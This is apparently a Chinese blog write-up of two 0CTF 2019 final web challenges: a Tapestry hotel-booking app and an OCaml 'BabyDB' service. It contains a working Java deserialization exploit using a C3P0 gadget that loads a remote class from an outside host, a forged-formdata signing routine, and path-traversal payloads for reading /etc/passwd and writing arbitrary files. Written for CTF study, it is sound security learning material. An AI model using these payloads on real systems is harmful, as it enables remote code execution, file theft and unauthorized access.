Sky's blog

2019 0ctf final Web Writeup(2)

字数统计: 1,842阅读时长: 9 min
2019/07/12 Share

前言

这篇文章接之前留下的坑,主要分析了java Tapestry的一个从文件读取到反序列化RCE的一个漏洞和ocaml的一个小trick。

hotel booking system

发现Tapestry版本号,同时发现该网站是Tapestry的demo,在github已开源:

1
https://github.com/ccordenier/tapestry5-hotel-booking


同时题目功能极少,只有search功能:

以及hint信息:

1
2
3
4
Anyway, As the project has no usable gadget libraries,
I added C3P0 to pom.xml.

25wzsxtql

那么大致猜测与其框架Tapestry漏洞有关,尝试搜索相关CVE:


尝试搜索相关漏洞细节描述,但无果,已知信息只有:

1
Apache Tapestry before 5.3.6 relies on client-side object storage without checking whether a client has modified an object, which allows remote attackers to cause a denial of service (resource consumption) or execute arbitrary code via crafted serialized data.

那么大概可以判断,应该是没有校验客户端对象是否被更改,直接进行反序列化,触发攻击。
既然没有漏洞描述,那么只能自己去挖掘了,通过搜索,找到其fix version:

1
Implement HMAC signatures on object streams stored on the client (Revision 95846b173d83c2eb42db75dae3e7d5e13a633946)

查看响应commit,发现一些改动:
加入hmac签名配置:
tapestry-core/src/main/java/org/apache/tapestry5/SymbolConstants.java

在AppModule.java可设置签名key:
tapestry-core/src/test/java/org/apache/tapestry5/integration/app1/services/AppModule.java

从fix version commit中并未发现和反序列直接挂钩的修复,应该修复落点在客户端对象校验,确保对象未被修改。但这样存在问题,一旦签名key泄露,那么依然可以进行攻击,随手尝试更改题目中的可疑值t:formdata:

1
<input value="P7crGfP9hcuUq9D5E5+kJLaAq8c=:H4sIAAAAAAAAAJWQsUrEQBRFn4HAQkRRtLDXdtbCbbRxEYSFIIFgLZPJM45MZmZnJibbWPkTNn6BbKVfsIWd/+AH2FhYWZhJGsFFsHucd+Ee7uM7hPUaRBOZY3M4rdDMwBoYKVMQqim7QuKoRuvMbESYMih4RjJqkYyzFlLmTjmKfDdFV+m980X0tv3yFcBKDBFT0hklzmiJDjbja3pDh4LKYpg6w2Vx1GgHYde4RGD8X4HEKIbWplVWcmu5kot5fnD5+fAaADS63oKNvsGo2mo0mhYIdgq3AA4iDxM0SQuXJ30wrNdhtX9Z3+K85/GfnkyVWkmUzpJOzP3WvE8/dp6f7k4CCGIYMMHb9CT3fX5DFFi2wG/YIb/ZoG+/2P9xfgP6pMxQxwEAAA==" name="t:formdata" type="hidden"></input><div class="form-group"><label for="query" class="control-label col-md-4">

得到回显:

1
java.io.IOException: Client data associated with the current request appears to have been tampered with (the HMAC signature does not match).

所以应该攻击点确实在t:formdata。
那么既然fix version没有明确的修复,只能自己跟了:
我们在search下断点,发现最终回来到onAction():

1
2
3
4
5
6
7
8
Object onAction(EventContext context) throws IOException
{
......
didPushBeanValidationContext = true;
executeStoredActions();
heartbeat.end();
......
}

关键函数executeStoredActions():

而全局搜索t:formdata,来到路径:
org/apache/tapestry5/corelib/components/Form.java

我们跟进FORM_DATA:

发现正是此处调用了客户端传来的t:formdata。
看到后续操作:

跟进decodeClientData():

可以发现t:formdata的编码模式:

1
2
GZIP compress
Base64 encode

然后会来到反序列化阶段,但需要注意的是5.3.8和5.4.3不太一样:

会多一个:

1
boolean cancelAction = ois.readBoolean();

那么最后的落点大致都清楚了,关键点在于怎么拿到签名key:

1
http://tapestry.apache.org/assets.html#Assets-AssetSecurity

可以发现这里有提到tapestry的安全问题,我们试一下:

我们尝试访问:

发现可以成功列目录,同时有提到

1
Fortunately, this can't happen. Files with extension ".class" are secured; they must be accompanied in the URL with a query parameter that is the MD5 hash of the file's contents. If the query parameter is absent, or doesn't match the actual file's content, the request is rejected.

但这里的md5 hash似乎并没有起到安全保护的能力,而是会自动跳转到正确的hash:

所以我们可以尝试读取签名key文件内容,根据之前的fix version commit,我们知道key一般定义在:

1
services/AppModule.java

我们尝试访问该文件,hash md5我们随便填写

发现可以列目录,得到:

1
2
3
4
AppModule.class
AppModule$1.class
Authenticator.class
BasicAuthenticator.class

读取AppModule.class后进行反编译,得到签名key:

1
http://192.168.1.106:10000/assets/app/e3d6c19d/services/AppModule.class


最后就是exp的构造了:
题目提供了hint:c3p0,我们可以进行检索:

1
https://blog.csdn.net/fnmsd/article/details/88959428#c3p0

参考这篇文章可以构造出exp,这里直接使用balsn的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import com.mchange.v2.c3p0.PoolBackedDataSource;
import org.apache.tapestry5.internal.services.ClientDataEncoderImpl;
import org.apache.tapestry5.services.ClientDataEncoder;
import org.apache.tapestry5.services.ClientDataSink;

import java.io.*;

import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;

import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import ysoserial.payloads.util.Reflections;

public class Main {
static public Object getExploit(String command) throws Exception {
int sep = command.lastIndexOf(':');
if ( sep < 0 ) {
throw new IllegalArgumentException("Command format is: <base_url>:<classname>");
}

String url = command.substring(0, sep);
String className = command.substring(sep + 1);

PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));
return b;
}


private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

private String className;
private String url;

public PoolSource ( String className, String url ) {
this.className = className;
this.url = url;
}

public Reference getReference () throws NamingException {
return new Reference("exploit", this.className, this.url);
}

public PrintWriter getLogWriter () throws SQLException {return null;}
public void setLogWriter ( PrintWriter out ) throws SQLException {}
public void setLoginTimeout ( int seconds ) throws SQLException {}
public int getLoginTimeout () throws SQLException {return 0;}
public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
public PooledConnection getPooledConnection () throws SQLException {return null;}
public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

}

public static void main(String[] args) throws Exception {
Object exp = getExploit("http://240.240.240.240:1234/:Exploit");
try {
ClientDataEncoder en = new ClientDataEncoderImpl(null, "TOP_SECRET_PASSPHRASE_YOU_WILL_NEVER_KNOW:)", null,
"does not matter", null);
ClientDataSink sink = en.createSink();
ObjectOutputStream s = sink.getObjectOutputStream();
s.writeUTF("1234");
s.writeBoolean(true);
s.writeObject(exp);
s.close();
String out = sink.getClientData();
System.out.println(out);
} catch (IOException i) {
i.printStackTrace();
return;
}
}
}

1
2
3
4
5
6
7
8
9
10
public class Exploit { 
public Exploit() {
try {
Runtime.getRuntime().exec(new String[]{"bash", "-c",
"sleep 5"
}).waitFor();
} catch (Exception e) {
}
}
}

BabyDB

题目使用ocaml-cohttp完成了一个web服务,使用文件系统作为数据库,实现了注册,登录,存储,加载等操作。
我们观察到其功能:

1
2
3
4
5
6
7
8
match handler with
| "register" -> register req body args
| "login" -> test_login req body args
| "load" -> default_load req body args
| "store" -> default_store req body args
| "static" -> static req body args
| "batch" -> batch req body args
| _ -> unknown

我们首先进行用户注册:

再进行登录,并尝试文件读取:

发现error,我们查看原因:

由于目录不存在而导致我们目录穿越失败,不能进行文件读取。而这串md5和相关路径来自于以下代码:


那么很自然想到,需要让用户名为空,得到的md5自然为空,那么就可以进行目录上跳。
这里我们观察到login:

1
2
3
4
5
6
| "login"::args::body::others -> 
let out = match is_default with
| true -> real_login false (whoami sess) cont req body args
| false -> real_login true (whoami sess) cont req body args
in
out

跟进whoami,发现其为:

1
let whoami = fun _ -> SessionState.get

这里可以利用一个trick,使用户名为空,即第一次随意用用户名登录,第二次紧接着用空用户登录,即可构造用户名为空。
任意文件读取:

1
login?sky?:login??:load?../../../../../../etc/passwd?sky



但是受制于load中的readfile:


我们只能读取文件第一行的内容,但flag文件第一行内容并不是flag。但我们注意到还可以使用store进行任意文件写入。
这里store的bypass和load一致,不再分析,直接给出exp:

1
login?user?user:login??:store?../../../../../../tmp/test_file?test_content

那么这里应该可以想到写入ssh key,从而达成无需输入密码即可连入的目的。那么即可连入题目server,获取flag。

后记

本篇文章结束了之前留下的坑,其实java和ocaml对我来说,都是接触较少的语言,希望以后能有更多机会挑战自己,走出舒适圈XD。

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. hotel booking system
  3. 3. BabyDB
  4. 4. 后记